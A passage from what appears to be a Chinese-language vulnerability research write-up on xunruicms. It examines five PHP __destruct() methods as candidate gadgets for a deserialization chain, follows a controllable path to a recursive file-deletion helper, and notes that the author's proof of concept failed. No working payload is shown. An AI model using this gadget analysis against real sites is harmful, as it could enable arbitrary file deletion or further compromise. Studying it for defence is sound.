<p blockindex=27>第一步寻找<code>__destruct()</code>方法只有5个一个一个找</p>
<p blockindex=28><img src=data:image/png;base64,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
<p blockindex=29>第一个</p>
<pre blockindex=30><code class="hljs language-php"><span class=hljs-keyword>public</span> <span class=hljs-function><span class=hljs-keyword>function</span> <span class=hljs-title>__destruct</span>(<span class=hljs-params></span>)
&nbsp; </span>{
&nbsp; &nbsp; &nbsp; &nbsp;<span class=hljs-keyword>if</span> (<span class=hljs-keyword>$this</span>-&gt;memcached <span class=hljs-keyword>instanceof</span> Memcached) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class=hljs-keyword>$this</span>-&gt;memcached-&gt;quit();
&nbsp; &nbsp; &nbsp; } <span class=hljs-keyword>elseif</span> (<span class=hljs-keyword>$this</span>-&gt;memcached <span class=hljs-keyword>instanceof</span> Memcache) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class=hljs-keyword>$this</span>-&gt;memcached-&gt;close();
&nbsp; &nbsp; &nbsp; }
&nbsp; }
</code></pre>
<p blockindex=31>这个<code>$this-&gt;memcached</code>可控但是要是Memcached 或 Memcached的实例 ,操作空间不大 pass</p>
<p blockindex=32>第二个</p>
<pre blockindex=33><code class="hljs language-php"><span class=hljs-keyword>public</span> <span class=hljs-function><span class=hljs-keyword>function</span> <span class=hljs-title>__destruct</span>(<span class=hljs-params></span>)
&nbsp; </span>{
&nbsp; &nbsp; &nbsp; &nbsp;<span class=hljs-keyword>if</span> (is_resource(<span class=hljs-keyword>$this</span>-&gt;SMTPConnect)) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class=hljs-keyword>try</span> {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class=hljs-keyword>$this</span>-&gt;sendCommand(<span class=hljs-string>'quit'</span>);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } <span class=hljs-keyword>catch</span> (<span class=hljs-built_in>ErrorException</span> <span class=hljs-variable>$e</span>) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class=hljs-variable>$protocol</span> = <span class=hljs-keyword>$this</span>-&gt;getProtocol();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class=hljs-variable>$method</span> &nbsp; = <span class=hljs-string>'sendWith'</span> . ucfirst(<span class=hljs-variable>$protocol</span>);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;log_message(<span class=hljs-string>'error'</span>, <span class=hljs-string>'Email: '</span> . <span class=hljs-variable>$method</span> . <span class=hljs-string>' throwed '</span> . <span class=hljs-variable>$e</span>);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; }
&nbsp; }
</code></pre>
<p blockindex=34><code>$this-&gt;SMTPConnect</code>可控,但是要是一个资源类型,后面进入<code>sendCommand</code>方法,里面操作空间不大 pass</p>
<p blockindex=35>第三个</p>
<pre blockindex=36><code class="hljs language-php"><span class=hljs-keyword>public</span> <span class=hljs-function><span class=hljs-keyword>function</span> <span class=hljs-title>__destruct</span>(<span class=hljs-params></span>)
</span>{
<span class=hljs-keyword>if</span> (<span class=hljs-keyword>isset</span>(<span class=hljs-keyword>$this</span>-&gt;scratch)) {
<span class=hljs-built_in>self</span>::wipeDirectory(<span class=hljs-keyword>$this</span>-&gt;scratch);
<span class=hljs-keyword>$this</span>-&gt;scratch = <span class=hljs-literal>null</span>;
}
}
</code></pre>
<p blockindex=37>这个会调用<code>self::wipeDirectory</code> ,<code>$this-&gt;scratch</code>可控,跟进查看</p>
<pre blockindex=38><code class="hljs language-php"><span class=hljs-keyword>private</span> <span class=hljs-built_in>static</span> <span class=hljs-function><span class=hljs-keyword>function</span> <span class=hljs-title>wipeDirectory</span>(<span class=hljs-params><span class=hljs-keyword>string</span> <span class=hljs-variable>$directory</span></span>): <span class=hljs-title>void</span>
</span>{
<span class=hljs-keyword>if</span> (is_dir(<span class=hljs-variable>$directory</span>)) {
<span class=hljs-comment>// Try a few times in case of lingering locks </span>
<span class=hljs-variable>$attempts</span> = <span class=hljs-number>10</span>;
<span class=hljs-keyword>while</span> ((<span class=hljs-keyword>bool</span>) <span class=hljs-variable>$attempts</span> &amp;&amp; ! delete_files(<span class=hljs-variable>$directory</span>, <span class=hljs-literal>true</span>, <span class=hljs-literal>false</span>, <span class=hljs-literal>true</span>)) {
<span class=hljs-comment>// @codeCoverageIgnoreStart </span>
<span class=hljs-variable>$attempts</span>--;
usleep(<span class=hljs-number>100000</span>); <span class=hljs-comment>// .1s </span>
<span class=hljs-comment>// @codeCoverageIgnoreEnd </span>
}
@rmdir(<span class=hljs-variable>$directory</span>);
}
}
</code></pre>
<p blockindex=39>这里调用了<code>delete_files</code>似乎可以进行文件删除,继续跟进<code>delete_files</code></p>
<pre blockindex=40><code class="hljs language-php"><span class=hljs-comment>//\xunruicms\dayrui\CodeIgniter\System\Helpers\filesystem_helper.php </span>
<span class=hljs-function><span class=hljs-keyword>function</span> <span class=hljs-title>delete_files</span>(<span class=hljs-params><span class=hljs-keyword>string</span> <span class=hljs-variable>$path</span>, <span class=hljs-keyword>bool</span> <span class=hljs-variable>$delDir</span> = <span class=hljs-literal>false</span>, <span class=hljs-keyword>bool</span> <span class=hljs-variable>$htdocs</span> = <span class=hljs-literal>false</span>, <span class=hljs-keyword>bool</span> <span class=hljs-variable>$hidden</span> = <span class=hljs-literal>false</span></span>): <span class=hljs-title>bool</span>
</span>{
<span class=hljs-variable>$path</span> = realpath(<span class=hljs-variable>$path</span>) ?: <span class=hljs-variable>$path</span>;
<span class=hljs-variable>$path</span> = rtrim(<span class=hljs-variable>$path</span>, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR;
<span class=hljs-keyword>try</span> {
<span class=hljs-keyword>foreach</span> (<span class=hljs-keyword>new</span> <span class=hljs-built_in>RecursiveIteratorIterator</span>(
<span class=hljs-keyword>new</span> <span class=hljs-built_in>RecursiveDirectoryIterator</span>(<span class=hljs-variable>$path</span>, <span class=hljs-built_in>RecursiveDirectoryIterator</span>::SKIP_DOTS),
<span class=hljs-built_in>RecursiveIteratorIterator</span>::CHILD_FIRST
) <span class=hljs-keyword>as</span> <span class=hljs-variable>$object</span>) {
<span class=hljs-variable>$filename</span> = <span class=hljs-variable>$object</span>-&gt;getFilename();
<span class=hljs-keyword>if</span> (! <span class=hljs-variable>$hidden</span> &amp;&amp; <span class=hljs-variable>$filename</span>[<span class=hljs-number>0</span>] === <span class=hljs-string>'.'</span>) {
<span class=hljs-keyword>continue</span>;
}
<span class=hljs-keyword>if</span> (! <span class=hljs-variable>$htdocs</span> || ! preg_match(<span class=hljs-string>'/^(\.htaccess|index\.(html|htm|php)|web\.config)$/i'</span>, <span class=hljs-variable>$filename</span>)) {
<span class=hljs-variable>$isDir</span> = <span class=hljs-variable>$object</span>-&gt;isDir();
<span class=hljs-keyword>if</span> (<span class=hljs-variable>$isDir</span> &amp;&amp; <span class=hljs-variable>$delDir</span>) {
rmdir(<span class=hljs-variable>$object</span>-&gt;getPathname());
<span class=hljs-keyword>continue</span>;
}
<span class=hljs-keyword>if</span> (! <span class=hljs-variable>$isDir</span>) {
unlink(<span class=hljs-variable>$object</span>-&gt;getPathname());
}
}
}
<span class=hljs-keyword>return</span> <span class=hljs-literal>true</span>;
} <span class=hljs-keyword>catch</span> (<span class=hljs-built_in>Throwable</span> <span class=hljs-variable>$e</span>) {
<span class=hljs-keyword>return</span> <span class=hljs-literal>false</span>;
}
}
</code></pre>
<ol blockindex=41>
<li>
<p>首先,使用 <code>realpath($path) ?: $path</code> 将传入的 <code>$path</code> 转换为绝对路径,如果转换失败,则保留原始路径。</p>
</li>
<li>
<p>然后,使用 <code>rtrim($path, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR</code> 将路径末尾的目录分隔符删除,并在末尾添加一个目录分隔符。</p>
</li>
<li>
<p>接下来,使用<code>RecursiveDirectoryIterator</code></p>
<p>类和<code>RecursiveIteratorIterator</code></p>
<p>类遍历指定路径下的所有文件和目录。</p>
<ul>
<li><code>RecursiveDirectoryIterator</code> 用于递归地遍历目录,并跳过 "." 和 ".." 目录。</li>
<li><code>RecursiveIteratorIterator</code> 使用 <code>CHILD_FIRST</code> 模式,确保先处理子目录中的文件和目录,然后再处理父目录中的文件和目录。</li>
</ul>
</li>
<li>
<p>对于遍历到的每个文件或目录<code>$object</code>执行以下操作:</p>
<ul>
<li>
<p>获取文件名 <code>$filename = $object-&gt;getFilename()</code></p>
</li>
<li>
<p>如果 <code>$hidden</code><code>false</code>,并且文件名以 <code>.</code> 开头,则跳过当前循环,不处理该文件。</p>
</li>
<li>
<p>如果 <code>$htdocs</code><code>true</code>,并且文件名匹配 <code>.htaccess</code><code>index.html</code><code>index.htm</code><code>index.php</code><code>web.config</code> 则跳过当前循环,不处理该文件。</p>
</li>
<li>
<p>检查文件类型:</p>
<ul>
<li>如果是目录且 <code>$delDir</code><code>true</code>,则使用 <code>rmdir($object-&gt;getPathname())</code> 删除目录,并继续下一次循环。</li>
<li>如果不是目录,则使用 <code>unlink($object-&gt;getPathname())</code> 删除文件。</li>
</ul>
</li>
</ul>
</li>
<li>
<p>循环结束后,返回 <code>true</code> 表示删除操作成功。</p>
</li>
<li>
<p>如果在删除过程中发生任何异常(<code>Throwable</code>),则捕获异常,并返回 <code>false</code> 表示删除操作失败。</p>
</li>
</ol>
<p blockindex=42>写poc试了一下发现没有在<code>wipeDirectory</code>中没有进入<code>delete_files</code>中,报错了,函数导向错误</p>
<p blockindex=43><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAA1IAAADPCAIAAABwVHdQAAAgAElEQVR4nO3df3Ab53kn8Cdnd8SkLCRPIJg9hvYOiYjUiRXUMNXmoKYpAyaOhOTkwh5hDmlD5AdYj2rFOdYVeMvEaZ0QFRxXjaNE4yGSGHQatNDErDUJKTsBh3VTYWZ5oSvyqBJSQM7aNK80iU6kLZJCjTNzf+xif3EXAClSIrXfz+gPAdh9991n3108eN93l28baL2fAAAAAOBO919udwUAAAAA4FZA2gcAAABgC0j7AAAAAGwBaR8AAACALSDtAwAAALAFpH0AAAAAtoC0DwAAAMAWkPYBAAAA2ALSPgAAAABbQNoHAAAAYAtI+wAAAABsAWkfAAAAgC0g7QMAAACwBaR9AAAAALaAtA8AAADAFpD2AQAAANgC0j4AAAAAW0DaBwAAAGALSPsAAAAAbAFpHwAAAIAtIO0DAAAAsAWkfQAAAAC2gLQPAAAAwBaQ9gEAAADYAtI+AAAAAFtA2gcAAABgC0j7AAAAAGwBaR8AAACALSDtAwAAALAFpH0AAAAAtnD37a5AReFUb5+3zvLj/FRb18gtrA4AAADA9oXePgAAAABbQNoHAAAAYAtbe5C3rMQPnO5OWH3KDk37WAeRKAzPNASkQeH8VNtkYy7oJKL59BQFPc2GcuI90qcm5UdCE/2Mg0jMTs22e1gHEdF8OnYkujk7BwAAAHAr3Em9fQ4mUJ4IOD+pzvlrlnM+InFpPEFEFMtwmpyPiOrYfm4ixRrL88o5H1HhEnI+AAAA2N62R29fHdvP5foNb5p0AYrZsYMhXn4RV94uDDODnPIq3hNwE5F6R0gswwXc5PAeGorw+gIr9zICAAAAbCN3Um8flWbHeZO384uc5lWsQ+rnKwyX7wLmuqbmiYjq2KBft2K5dxAAAABg+7uj0r7iolmWJi4XNK/8B+SuPm0uWFgRiYjItTOsXXP5enKjqwgAAABwm2yPQd7aBlvF4lWztwsLZl2AOvziso8cRI76PdrydPkiAAAAwLZ2R/X2rRvb6CIiy8QRAAAAYPuzXdo3cilPRETuxpj6pnO3dMcuRnUBAADgjrU9BnlN7+Ql4y26teEmCwG3k8gZyPg5+U7e8lP90vhTbwAAAHCn2h5p34aKDg53cAE3kduTEzzK22L2Ip7VAgAAAHcu2w3yEhFxXbG2AUFU3yjxAzH1gX8AAAAAd6C3DbTef7vrAAAAAACbzpa9fQAAAAD2g7QPAAAAwBaQ9gEAAADYAtI+AAAAAFtA2gcAAABgC0j7AAAAAGwBaR8AAACALSDtAwAAALAFpH0AAAAAtoC0DwAAAMAWkPYBAAAA2ALSPgAAAABbQNoHAAAAYAtI+wAAAABsAWkfAAAAgC0g7QMAAACwBaR9AAAAALaAtA8AAADAFpD2AQAAANgC0j4AAAAAW0DaBwAAAGALSPsAAAAAbAFpHwAAAIAtIO0DAAAAsAWkfQAAAAC2gLQPAAAAwBaQ9gEAAADYAtI+AAAAAFtA2gcAAABgC0j7AAAAAGwBaR8AAACALSDtAwAAALAFpH0AAAAAtrAt0r54T07gyv96hyK1rOMfFbjROBGxQ9PcRIo1W4aNxU3f3zwVKmNcLCdwuenQN1K9uelQeGO2rsRklXKEzT9dt4g/Fqm26XUqh0j6l/Gvo4hwLbGNhCZqbXKmdDsei6+xnvEeXWvRnQi177t1q4v35ISeWOVlymoKVyX+0QqrqzWpWEJNregmz2vTs++mG3C8Ry5K+Q8AwG1w9+2uQBXs0LSPdRSGmRgnvRHvyfVzo+7YkegGlLx3Zoy76SpuvLiHdRSGmcFbVTd26LBTzI4dDPEbWWokNNHfMDswQkREI0eYkQ0rOd6TCzrF7FibXGF2aNqXm955an8quWHb2CjqjscyXICm1nZM80U63BImXrNfhobhHxU8E6nCTR87vnv/hh59E4UVau2MUDKxqVu56fN6U84+/2iwnh8YTBJRdHC4gzueYpMbe7oBANRka/f2hVOHjJfg6OCpbKk5WLVjYBsLN9WTWLx66zbo3O2gwsJ2+RLyjwYNSSrfvX9q3sEcr96Nut0k5mapobNSX+PIuWzJ0d6yHXqP+PEZ2tu51Y/RZpx94VRrc/5Kdznf5dICeT138BUMALawLd3bx3a214nZi4af3cnQaU3nh39U8DQrr0Shti4fqRORyOvLTbdIq4RTvX3eOunj+bRpb6J/VPCQ+pH6Mpzq7WtfGp5pCMglaFPV8raIKC/wqwps1tc8luECbiJi+gTuWDp2rqm3r33p1P5UUt7cFAXlVXSpTyQ00c9IG6H8VFvXyOpNiFmhsHqflBWDXO6wcGr/9WPr2Uel2uXo5eVi2X5uonPsYMipC515bSvuoCLe2EyFYeP7xt5ETX1K/MBp5RtXc5QLfJZqWUW/9Z5c0Ckvky2yXpKCYB0cOYCXOqTCPTmhUf7IPAjs0LRv94zg9DIOKvEDp8dnDh1zr6qGqXhPLkjqQTG8pJZRwWcdWLmTTHrfeDQ150JnhuuTPtKfa6bRC6d6+1xLvIthHSRmxw6OLx2Xo2cSTF11LNuzyuyEXd95rbI++6pu2hAE7fv+Y966+bRmFxKpTJDrSrEcOvwA4Fbb0r19VXuh2KFpjzM71sbE2phY24Ag1trlw3fvH+NFErNjbeVkq89bHJbKSReag2ufx+NguuhiGxNrY8Z40Rkoz7iKZXwsCaeYWBsTGyZGzv9ImjTmoXRMqvzwMtM3HQoTcV2xU9kSicIpxuQrqjnYeKlcSYf3kDznLN6T62+YHYjJW3d5yvO92KFpT3N+Snp/tp1pNpZHlEgdZKbmiebTsbaqGbPlPnIBd0ETvd4hSh0cEEQq8QMxY4YR78n1MwV5x6fm3R7t7DTzHdSooTOGHZrmAi455qeyxPb3KoHq8xIvBSpNbPmbW16FpuSGlC6qq2hFQhNB57xU84GlvV6n7lOL4Ei4rthwnig/1SblYZaHjIio2VufYWJtzOnuBCUXis0d1rP3IqHj3jpxZq7qTx2Ht2FlQD5NyOur0LzDqV4lem3pgq5n3cHsXR6T60xMn9rMrKPnZnZfiLUxsYMhnhLXC+7GWNVgVgyOJJbh+tqXTpVPfKd8wpqd1yaLWap89lXctHXc4o3NVLikL+3q8nbpowWAO8yWTvuIqLSSr/Ap371fk1Uk5mbF9W3Ff8BN8+lyv0h0cDhPlb5rzRUyck348ZkSuXaGiSgS6nKX+DNyOsV1Tc2Xlw53NjjyU8pXC9c1Ne9gjlXLNcVseXJYdHGe6na7iYhiHU4xe7HcO8V3nxFEd+tQpDxLSe4p4bvPCOsMT+V9XBU9KV+xEutwkrrjI0fSBVJSAYsdNFq+XinLibTsdagxT4Yu8mLd3k62PIWxHKjo4HBeu4oSKOmjOja4KtUIMuohS6TOZkv6z02DY87ykEnyi5pZDYvzmvgQOQPa+zn6GaptUqa6uUTqbLbUfNjyroI9rjr1RXSwTTfLzbSRV46eNuMZuZR3HogTVQxmleAQEfkPaE4r6z2qcbE1sSzTKm6mP1SSC0Vy1O+5qZoAAKzDlh7kJbL64tfTjq2sJ7OJ7HRSaVaTX3KThcDhnWGiNdwiYNoF5a53UHFRzYEKKyJJ3Rp7XHXk9uQEj3bxearCrO+TbXSRw+3LCT7NmyWSv2+W1Folrhf6q22gMtN9XBW9ithGF4kzmtHm6OJ8sLUxQpQgMt/BVVwVD40x5vz4zCHW5SQiQ+fx1eUSuZRVnAGBC2jLMe6RsebJhWKf9vM1TAizPGRyScva0fiRS3nuQJxITp7WebeBdseTC8U+r2XOwaWFrn6mT+D6Vo+KWjZy6+jpV+EmC7kOP1HBOphVgkMkNbm65n4up23Pq8/8GhdbE+syK8VttXxRpAal2QMA3CpbOu0rrIi0t4klMqQC/lGhdWXgdHeiPJVHFE4xqaQ0P2kjNhxuqicqVl9u/dhGl+WkpTVy7naYT4MLd9502bdAZKeTaKXmxa1SlnCqt891xT
<p blockindex=44>因为<code>delete_files</code>并不存在于某个类里面,只是一个函数,要利用这个方法需要引用它所在的文件,利用的类里面已经引用了这个文件,就是不跳转</p>
<p blockindex=45>TT^TT</p>
<p blockindex=46>第四个</p>
<pre blockindex=47><code class="hljs language-php"><span class=hljs-keyword>public</span> <span class=hljs-function><span class=hljs-keyword>function</span> <span class=hljs-title>__destruct</span>(<span class=hljs-params></span>)
</span>{
<span class=hljs-keyword>unset</span>(<span class=hljs-keyword>$this</span>-&gt;data);
<span class=hljs-keyword>unset</span>(<span class=hljs-keyword>$this</span>-&gt;cache);
<span class=hljs-keyword>unset</span>(<span class=hljs-keyword>$this</span>-&gt;ret);
<span class=hljs-keyword>unset</span>(<span class=hljs-keyword>$this</span>-&gt;icon);
<span class=hljs-keyword>unset</span>(<span class=hljs-keyword>$this</span>-&gt;result_array);
<span class=hljs-keyword>unset</span>(<span class=hljs-keyword>$this</span>-&gt;nbsp_str);
<span class=hljs-keyword>unset</span>(<span class=hljs-keyword>$this</span>-&gt;nbsp);
<span class=hljs-keyword>unset</span>(<span class=hljs-keyword>$this</span>-&gt;result);
}
</code></pre>
<p blockindex=48>这个只是用来释放变量,没操作空间 pass</p>
<p blockindex=49>第五个</p>
<pre blockindex=50><code class="hljs language-php"><span class=hljs-keyword>public</span> <span class=hljs-function><span class=hljs-keyword>function</span> <span class=hljs-title>__destruct</span>(<span class=hljs-params></span>)
</span>{
<span class=hljs-keyword>if</span> (<span class=hljs-keyword>isset</span>(<span class=hljs-keyword>$this</span>-&gt;redis)) {
<span class=hljs-keyword>$this</span>-&gt;redis-&gt;close();
}
}
</code></pre>
<p blockindex=51>这个<code>$this-&gt;redis</code>可控,这里有两个方向,一个触发某个类的<code>__call()</code> , 另外一个是找到一个含有<code>close()</code>方法的类</p>
<p blockindex=52>经过一番查找,没有找到能利用的**__call()** 只好去看看close()了</p>
<p blockindex=53>全局搜索close()方法找到了15个方法其中有7个是js文件的忽略</p>
<p blockindex=54><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAtMAAACmCAIAAACX5pQ9AAAgAElEQVR4nO2dd1gTWReH74TQBaRJFUFUioAgCtLEgogVFMUC2MXeVlfX9Vvb6q6ydtdde1dYe5e1F1ARC4ptRZAivSldSHK/PwIhbSaTEIPieZ88PMnMLeeee4b55ZYJUVVdgwAAAAAAABQCo6kNAAAAAADgOwKUBwAAAAAAigOUBwAAAAAAigOUBwAAAAAAigOUBwAAAAAAigOUBwAAAAAAigOUBwAAAAAAigOUBwAAAAAAigOUBwAAAAAAiuMrUh7qaipfNJds5SuGyPU7ZUtDJyMAAAAAfD0wm9oAWVBXU6H50HeylPRL+HahECUL50co0hIAAAAA4PFNKg9+qqprKGSE2LONlB2YVZ4af+9eSpmpd2DvtnUOxLjw4Ynbr6v4EzI7+A32NCUkFhi5fufC+RHcv9RppDWVl4U/OwyTAAAAAE1IUyoP0ekPoSNyGa4QTSyz7MAYf85/c+PS/VfVTJWKKs0q3HCO/Sk7owh1dLfX5x1iGGpKLpOnCSSKD156iiMwmAEAAAB85TSl8pBhKEJsGrKBDbHZqW2QACftypEHJY5e49zxjZ23BU6VlX/CmpadnNxMJA9y8BCSGmTiQzQZ2SnRjGLfAwAAAEBTIbXyOHfxemdne3MzE6HjH7JyniS+Gjygt5wME4NUsyr877mn+P/KaAHRstPQEPM2Goya/4RPlZZ9RFra2lIUJlY0iIoPrmLg6QapRjVgtgUAAAD42pBaeWi10DxxKmbY0AB+8fEhK+fEqZhOTnZytU0AiYqBTFWIKhKZxQfB0G1jiRBCWOTU59LSz0qq7Oykm6n55UjTwNza2c5QnUE6/iEqL3gfhcSHRPUgmygBAAAAgCZBauXR07cbh8PhFx9c2eHoYNPTtxvNQsg2uIo9zq8VyDJyz4qqCvqzM42krKwMsT/dj621NNFiVGQlxCQ9fuM9eoidnoj44AoFapXAFR+IRHZIzC5Ul+h7AAAAAGgqZFnn0bunJ0KIKz64bxwdbLgHaSJ2ZILsFP9Bnv4QkheiKbkHyeZf5C4+9N2GTO/IUtFSV2UQGOOq9LgjJ+9ff9lmuKPwKlOaooH+Yg46hcBsCwAAAPCVIOMKU574QAhJKztEkds6DD7oTLs0vhYeDKaKlk6dACIIQr1NV3fLl1fS8tgOVkqEFGtORRFa54H4RkSEEFInZGIFJmUAAACAJkT2vS08tSEX2cH7KBfxIe1sTmPqIkFFQ5PJLq2uQUi9cQWRbXgROsLTImRDGnTECgAAAAB8aRq1q7aRmgPJtA6Dji4hG/D4Qo8uxZiTeu3w+ZLOE4Z31OaOcLDz0zNZWu301Bs34MFFtv0sXPgfUybzrA0AAAAAyIum/N0Wibtk5V6RfIvlQRCM1h2s1TIfnr357kNRaXFu2oNz155UmXm7Gsmxlsj1O7kvqbKIPi9EjiYBAAAAgLQ0z